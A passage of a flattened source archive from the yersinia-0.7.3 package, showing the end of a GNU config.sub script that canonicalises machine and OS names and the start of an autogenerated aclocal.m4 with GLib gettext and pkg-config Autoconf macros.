p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc) basic_machine=powerpc-unknown ;; ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3d) basic_machine=alpha-cray os=-unicos ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tic4x | c4x*) basic_machine=tic4x-unknown os=-coff ;; tic54x | c54x*) basic_machine=tic54x-unknown os=-coff ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; windows32) basic_machine=i386-pc os=-windows32-msvcrt ;; xps | xps100) basic_machine=xps100-honeywell ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh3 | sh4 | sh3eb | sh4eb | sh[1234]le | sh3ele) basic_machine=sh-unknown ;; sh64) basic_machine=sh64-unknown ;; sparc | sparcv9 | sparcv9b) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \ | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* | -powermax*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto*) os=-nto-qnx ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 # This also exists in the configure program, but was not the # default. # os=-sunos4 ;; m68*-cisco) os=-aout ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-ibm) os=-aix ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 ;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -ptx*) vendor=sequent ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit 0 # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: yersinia-0.7.3/aclocal.m40000644000175000017500000015276712234207266013034 0ustar nknk# generated automatically by aclocal 1.11.3 -*- Autoconf -*- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, # 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, # Inc. # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.68],, [m4_warning([this file was generated for autoconf 2.68. You have another version of autoconf. It may work, but is not guaranteed to. If you have problems, you may need to regenerate the build system entirely. To do so, use the procedure documented by the package, typically `autoreconf'.])]) # Copyright (C) 1995-2002 Free Software Foundation, Inc. # Copyright (C) 2001-2003,2004 Red Hat, Inc. # # This file is free software, distributed under the terms of the GNU # General Public License. As a special exception to the GNU General # Public License, this file may be distributed as part of a program # that contains a configuration script generated by Autoconf, under # the same distribution terms as the rest of that program. # # This file can be copied and used freely without restrictions. It can # be used in projects which are not available under the GNU Public License # but which still want to provide support for the GNU gettext functionality. # # Macro to add for using GNU gettext. # Ulrich Drepper , 1995, 1996 # # Modified to never use included libintl. # Owen Taylor , 12/15/1998 # # Major rework to remove unused code # Owen Taylor , 12/11/2002 # # Added better handling of ALL_LINGUAS from GNU gettext version # written by Bruno Haible, Owen Taylor 5/30/3002 # # Modified to require ngettext # Matthias Clasen 08/06/2004 # # We need this here as well, since someone might use autoconf-2.5x # to configure GLib then an older version to configure a package # using AM_GLIB_GNU_GETTEXT AC_PREREQ(2.53) dnl dnl We go to great lengths to make sure that aclocal won't dnl try to pull in the installed version of these macros dnl when running aclocal in the glib directory. dnl m4_copy([AC_DEFUN],[glib_DEFUN]) m4_copy([AC_REQUIRE],[glib_REQUIRE]) dnl dnl At the end, if we're not within glib, we'll define the public dnl definitions in terms of our private definitions. dnl # GLIB_LC_MESSAGES #-------------------- glib_DEFUN([GLIB_LC_MESSAGES], [AC_CHECK_HEADERS([locale.h]) if test $ac_cv_header_locale_h = yes; then AC_CACHE_CHECK([for LC_MESSAGES], am_cv_val_LC_MESSAGES, [AC_TRY_LINK([#include ], [return LC_MESSAGES], am_cv_val_LC_MESSAGES=yes, am_cv_val_LC_MESSAGES=no)]) if test $am_cv_val_LC_MESSAGES = yes; then AC_DEFINE(HAVE_LC_MESSAGES, 1, [Define if your file defines LC_MESSAGES.]) fi fi]) # GLIB_PATH_PROG_WITH_TEST #---------------------------- dnl GLIB_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR, dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]]) glib_DEFUN([GLIB_PATH_PROG_WITH_TEST], [# Extract the first word of "$2", so it can be a program name with args. set dummy $2; ac_word=[$]2 AC_MSG_CHECKING([for $ac_word]) AC_CACHE_VAL(ac_cv_path_$1, [case "[$]$1" in /*) ac_cv_path_$1="[$]$1" # Let the user override the test with a path. ;; *) IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS="${IFS}:" for ac_dir in ifelse([$5], , $PATH, [$5]); do test -z "$ac_dir" && ac_dir=. if test -f $ac_dir/$ac_word; then if [$3]; then ac_cv_path_$1="$ac_dir/$ac_word" break fi fi done IFS="$ac_save_ifs" dnl If no 4th arg is given, leave the cache variable unset, dnl so AC_PATH_PROGS will keep looking. ifelse([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4" ])dnl ;; esac])dnl $1="$ac_cv_path_$1" if test ifelse([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then AC_MSG_RESULT([$]$1) else AC_MSG_RESULT(no) fi AC_SUBST($1)dnl ]) # GLIB_WITH_NLS #----------------- glib_DEFUN([GLIB_WITH_NLS], dnl NLS is obligatory [USE_NLS=yes AC_SUBST(USE_NLS) gt_cv_have_gettext=no CATOBJEXT=NONE XGETTEXT=: INTLLIBS= AC_CHECK_HEADER(libintl.h, [gt_cv_func_dgettext_libintl="no" libintl_extra_libs="" # # First check in libc # AC_CACHE_CHECK([for ngettext in libc], gt_cv_func_ngettext_libc, [AC_TRY_LINK([ #include ], [return !ngettext ("","", 1)], gt_cv_func_ngettext_libc=yes, gt_cv_func_ngettext_libc=no) ]) if test "$gt_cv_func_ngettext_libc" = "yes" ; then AC_CACHE_CHECK([for dgettext in libc], gt_cv_func_dgettext_libc, [AC_TRY_LINK([ #include ], [return !dgettext ("","")], gt_cv_func_dgettext_libc=yes, gt_cv_func_dgettext_libc=no) ]) fi if test "$gt_cv_func_ngettext_libc" = "yes" ; then AC_CHECK_FUNCS(bind_textdomain_codeset) fi # # If we don't have everything we want, check in libintl # if test "$gt_cv_func_dgettext_libc" != "yes" \ || test "$gt_cv_func_ngettext_libc" != "yes" \ || test "$ac_cv_func_bind_textdomain_codeset" != "yes" ; then AC_CHECK_LIB(intl, bindtextdomain, [AC_CHECK_LIB(intl, ngettext, [AC_CHECK_LIB(intl, dgettext, gt_cv_func_dgettext_libintl=yes)])]) if test "$gt_cv_func_dgettext_libintl" != "yes" ; then AC_MSG_CHECKING([if -liconv is needed to use gettext]) AC_MSG_RESULT([]) AC_CHECK_LIB(intl, ngettext, [AC_CHECK_LIB(intl, dcgettext, [gt_cv_func_dgettext_libintl=yes libintl_extra_libs=-liconv], :,-liconv)], :,-liconv) fi # # If we found libintl, then check in it for bind_textdomain_codeset(); # we'll prefer libc if neither have bind_textdomain_codeset(), # and both have dgettext and ngettext # if test "$gt_cv_func_dgettext_libintl" = "yes" ; then glib_save_LIBS="$LIBS" LIBS="$LIBS -lintl $libintl_extra_libs" unset ac_cv_func_bind_textdomain_codeset AC_CHECK_FUNCS(bind_textdomain_codeset) LIBS="$glib_save_LIBS" if test "$ac_cv_func_bind_textdomain_codeset" = "yes" ; then gt_cv_func_dgettext_libc=no else if test "$gt_cv_func_dgettext_libc" = "yes" \ && test "$gt_cv_func_ngettext_libc" = "yes"; then gt_cv_func_dgettext_libintl=no fi fi fi fi if test "$gt_cv_func_dgettext_libc" = "yes" \ || test "$gt_cv_func_dgettext_libintl" = "yes"; then gt_cv_have_gettext=yes fi if test "$gt_cv_func_dgettext_libintl" = "yes"; then INTLLIBS="-lintl $libintl_extra_libs" fi if test "$gt_cv_have_gettext" = "yes"; then AC_DEFINE(HAVE_GETTEXT,1, [Define if the GNU gettext() function is already present or preinstalled.]) GLIB_PATH_PROG_WITH_TEST(MSGFMT, msgfmt, [test -z "`$ac_dir/$ac_word -h 2>&1 | grep 'dv '`"], no)dnl if test "$MSGFMT" != "no"; then glib_save_LIBS="$LIBS" LIBS="$LIBS $INTLLIBS" AC_CHECK_FUNCS(dcgettext) MSGFMT_OPTS= AC_MSG_CHECKING([if msgfmt accepts -c]) GLIB_RUN_PROG([$MSGFMT -c -o /dev/null],[ msgid "" msgstr "" "Content-Type: text/plain; charset=UTF-8\n" "Project-Id-Version: test 1.0\n" "PO-Revision-Date: 2007-02-15 12:01+0100\n" "Last-Translator: test \n" "Language-Team: C \n" "MIME-Version: 1.0\n" "Content-Transfer-Encoding: 8bit\n" ], [MSGFMT_OPTS=-c; AC_MSG_RESULT([yes])], [AC_MSG_RESULT([no])]) AC_SUBST(MSGFMT_OPTS) AC_PATH_PROG(GMSGFMT, gmsgfmt, $MSGFMT) GLIB_PATH_PROG_WITH_TEST(XGETTEXT, xgettext, [test -z "`$ac_dir/$ac_word -h 2>&1 | grep '(HELP)'`"], :) AC_TRY_LINK(, [extern int _nl_msg_cat_cntr; return _nl_msg_cat_cntr], [CATOBJEXT=.gmo DATADIRNAME=share], [case $host in *-*-solaris*) dnl On Solaris, if bind_textdomain_codeset is in libc, dnl GNU format message catalog is always supported, dnl since both are added to the libc all together. dnl Hence, we'd like to go with DATADIRNAME=share and dnl and CATOBJEXT=.gmo in this case. AC_CHECK_FUNC(bind_textdomain_codeset, [CATOBJEXT=.gmo DATADIRNAME=share], [CATOBJEXT=.mo DATADIRNAME=lib]) ;; *-*-openbsd*) CATOBJEXT=.mo DATADIRNAME=share ;; *) CATOBJEXT=.mo DATADIRNAME=lib ;; esac]) LIBS="$glib_save_LIBS" INSTOBJEXT=.mo else gt_cv_have_gettext=no fi fi ]) if test "$gt_cv_have_gettext" = "yes" ; then AC_DEFINE(ENABLE_NLS, 1, [always defined to indicate that i18n is enabled]) fi dnl Test whether we really found GNU xgettext. if test "$XGETTEXT" != ":"; then dnl If it is not GNU xgettext we define it as : so that the dnl Makefiles still can work. if $XGETTEXT --omit-header /dev/null 2> /dev/null; then : ; else AC_MSG_RESULT( [found xgettext program is not GNU xgettext; ignore it]) XGETTEXT=":" fi fi # We need to process the po/ directory. POSUB=po AC_OUTPUT_COMMANDS( [case "$CONFIG_FILES" in *po/Makefile.in*) sed -e "/POTFILES =/r po/POTFILES" po/Makefile.in > po/Makefile esac]) dnl These rules are solely for the distribution goal. While doing this dnl we only have to keep exactly one list of the available catalogs dnl in configure.ac. for lang in $ALL_LINGUAS; do GMOFILES="$GMOFILES $lang.gmo" POFILES="$POFILES $lang.po" done dnl Make all variables we use known to autoconf. AC_SUBST(CATALOGS) AC_SUBST(CATOBJEXT) AC_SUBST(DATADIRNAME) AC_SUBST(GMOFILES) AC_SUBST(INSTOBJEXT) AC_SUBST(INTLLIBS) AC_SUBST(PO_IN_DATADIR_TRUE) AC_SUBST(PO_IN_DATADIR_FALSE) AC_SUBST(POFILES) AC_SUBST(POSUB) ]) # AM_GLIB_GNU_GETTEXT # ------------------- # Do checks necessary for use of gettext. If a suitable implementation # of gettext is found in either in libintl or in the C library, # it will set INTLLIBS to the libraries needed for use of gettext # and AC_DEFINE() HAVE_GETTEXT and ENABLE_NLS. (The shell variable # gt_cv_have_gettext will be set to "yes".) It will also call AC_SUBST() # on various variables needed by the Makefile.in.in installed by # glib-gettextize. dnl glib_DEFUN([GLIB_GNU_GETTEXT], [AC_REQUIRE([AC_PROG_CC])dnl AC_REQUIRE([AC_HEADER_STDC])dnl GLIB_LC_MESSAGES GLIB_WITH_NLS if test "$gt_cv_have_gettext" = "yes"; then if test "x$ALL_LINGUAS" = "x"; then LINGUAS= else AC_MSG_CHECKING(for catalogs to be installed) NEW_LINGUAS= for presentlang in $ALL_LINGUAS; do useit=no if test "%UNSET%" != "${LINGUAS-%UNSET%}"; then desiredlanguages="$LINGUAS" else desiredlanguages="$ALL_LINGUAS" fi for desiredlang in $desiredlanguages; do # Use the presentlang catalog if desiredlang is # a. equal to presentlang, or # b. a variant of presentlang (because in this case, # presentlang can be used as a fallback for messages # which are not translated in the desiredlang catalog). case "$desiredlang" in "$presentlang"*) useit=yes;; esac done if test $useit = yes; then NEW_LINGUAS="$NEW_LINGUAS $presentlang" fi done LINGUAS=$NEW_LINGUAS AC_MSG_RESULT($LINGUAS) fi dnl Construct list of names of catalog files to be constructed. if test -n "$LINGUAS"; then for lang in $LINGUAS; do CATALOGS="$CATALOGS $lang$CATOBJEXT"; done fi fi dnl If the AC_CONFIG_AUX_DIR macro for autoconf is used we possibly dnl find the mkinstalldirs script in another subdir but ($top_srcdir). dnl Try to locate is. MKINSTALLDIRS= if test -n "$ac_aux_dir"; then MKINSTALLDIRS="$ac_aux_dir/mkinstalldirs" fi if test -z "$MKINSTALLDIRS"; then MKINSTALLDIRS="\$(top_srcdir)/mkinstalldirs" fi AC_SUBST(MKINSTALLDIRS) dnl Generate list of files to be processed by xgettext which will dnl be included in po/Makefile. test -d po || mkdir po if test "x$srcdir" != "x."; then if test "x`echo $srcdir | sed 's@/.*@@'`" = "x"; then posrcprefix="$srcdir/" else posrcprefix="../$srcdir/" fi else posrcprefix="../" fi rm -f po/POTFILES sed -e "/^#/d" -e "/^\$/d" -e "s,.*, $posrcprefix& \\\\," -e "\$s/\(.*\) \\\\/\1/" \ < $srcdir/po/POTFILES.in > po/POTFILES ]) # AM_GLIB_DEFINE_LOCALEDIR(VARIABLE) # ------------------------------- # Define VARIABLE to the location where catalog files will # be installed by po/Makefile. glib_DEFUN([GLIB_DEFINE_LOCALEDIR], [glib_REQUIRE([GLIB_GNU_GETTEXT])dnl glib_save_prefix="$prefix" glib_save_exec_prefix="$exec_prefix" glib_save_datarootdir="$datarootdir" test "x$prefix" = xNONE && prefix=$ac_default_prefix test "x$exec_prefix" = xNONE && exec_prefix=$prefix datarootdir=`eval echo "${datarootdir}"` if test "x$CATOBJEXT" = "x.mo" ; then localedir=`eval echo "${libdir}/locale"` else localedir=`eval echo "${datadir}/locale"` fi prefix="$glib_save_prefix" exec_prefix="$glib_save_exec_prefix" datarootdir="$glib_save_datarootdir" AC_DEFINE_UNQUOTED($1, "$localedir", [Define the location where the catalogs will be installed]) ]) dnl dnl Now the definitions that aclocal will find dnl ifdef(glib_configure_ac,[],[ AC_DEFUN([AM_GLIB_GNU_GETTEXT],[GLIB_GNU_GETTEXT($@)]) AC_DEFUN([AM_GLIB_DEFINE_LOCALEDIR],[GLIB_DEFINE_LOCALEDIR($@)]) ])dnl # GLIB_RUN_PROG(PROGRAM, TEST-FILE, [ACTION-IF-PASS], [ACTION-IF-FAIL]) # # Create a temporary file with TEST-FILE as its contents and pass the # file name to PROGRAM. Perform ACTION-IF-PASS if PROGRAM exits with # 0 and perform ACTION-IF-FAIL for any other exit status. AC_DEFUN([GLIB_RUN_PROG], [cat >conftest.foo <<_ACEOF $2 _ACEOF if AC_RUN_LOG([$1 conftest.foo]); then m4_ifval([$3], [$3], [:]) m4_ifvaln([$4], [else $4])dnl echo "$as_me: failed input was:" >&AS_MESSAGE_LOG_FD sed 's/^/| /' conftest.foo >&AS_MESSAGE_LOG_FD fi]) # pkg.m4 - Macros to locate and utilise pkg-config. -*- Autoconf -*- # serial 1 (pkg-config-0.24) # # Copyright © 2004 Scott James Remnant . # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # PKG_PROG_PKG_CONFIG([MIN-VERSION]) # ---------------------------------- AC_DEFUN([PKG_PROG_PKG_CONFIG], [m4_pattern_forbid([^_?PKG_[A-Z_]+$]) m4_pattern_allow([^PKG_CONFIG(_(PATH|LIBDIR|SYSROOT_DIR|ALLOW_SYSTEM_(CFLAGS|LIBS)))?$]) m4_pattern_allow([^PKG_CONFIG_(DISABLE_UNINSTALLED|TOP_BUILD_DIR|DEBUG_SPEW)$]) AC_ARG_VAR([PKG_CONFIG], [path to pkg-config utility]) AC_ARG_VAR([PKG_CONFIG_PATH], [directories to add to pkg-config's search path]) AC_ARG_VAR([PKG_CONFIG_LIBDIR], [path overriding pkg-config's built-in search path]) if test "x$ac_cv_env_PKG_CONFIG_set" != "xset"; then AC_PATH_TOOL([PKG_CONFIG], [pkg-config]) fi if test -n "$PKG_CONFIG"; then _pkg_min_version=m4_default([$1], [0.9.0]) AC_MSG_CHECKING([pkg-config is at least version $_pkg_min_version]) if $PKG_CONFIG --atleast-pkgconfig-version $_pkg_min_version; then AC_MSG_RESULT([yes]) else AC_MSG_RESULT([no]) PKG_CONFIG="" fi fi[]dnl ])# PKG_PROG_PKG_CONFIG # PKG_CHECK_EXISTS(MODULES, [ACTION-IF-FOUND], [ACTION-IF-NOT-FOUND]) # # Check to see whether a particular set of modules exists. Similar # to PKG_CHECK_MODULES(), but does not set variables or print errors. # # Please remember that m4 expands AC_REQUIRE([PKG_PROG_PKG_CONFIG]) # only at the first occurence in configure.ac, so if the first place # it's called might be skipped (such as if it is within an "if", you # have to call PKG_CHECK_EXISTS manually # -------------------------------------------------------------- AC_DEFUN([PKG_CHECK_EXISTS], [AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl if test -n "$PKG_CONFIG" && \ AC_RUN_LOG([$PKG_CONFIG --exists --print-errors "$1"]); then m4_default([$2], [:]) m4_ifvaln([$3], [else $3])dnl fi]) # _PKG_CONFIG([VARIABLE], [COMMAND], [MODULES]) # --------------------------------------------- m4_define([_PKG_CONFIG], [if test -n "$$1"; then pkg_cv_[]$1="$$1" elif test -n "$PKG_CONFIG"; then PKG_CHECK_EXISTS([$3], [pkg_cv_[]$1=`$PKG_CONFIG --[]$2 "$3" 2>/dev/null` test "x$?" != "x0" && pkg_failed=yes ], [pkg_failed=yes]) else pkg_failed=untried fi[]dnl ])# _PKG_CONFIG # _PKG_SHORT_ERRORS_SUPPORTED # ----------------------------- AC_DEFUN([_PKG_SHORT_ERRORS_SUPPORTED], [AC_REQUIRE([PKG_PROG_PKG_CONFIG]) if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then _pkg_short_errors_supported=yes else _pkg_short_errors_supported=no fi[]dnl ])# _PKG_SHORT_ERRORS_SUPPORTED # PKG_CHECK_MODULES(VARIABLE-PREFIX, MODULES, [ACTION-IF-FOUND], # [ACTION-IF-NOT-FOUND]) # # # Note that if there is a possibility the first call to # PKG_CHECK_MODULES might not happen, you should be sure to include an # explicit call to PKG_PROG_PKG_CONFIG in your configure.ac # # # -------------------------------------------------------------- AC_DEFUN([PKG_CHECK_MODULES], [AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl AC_ARG_VAR([$1][_CFLAGS], [C compiler 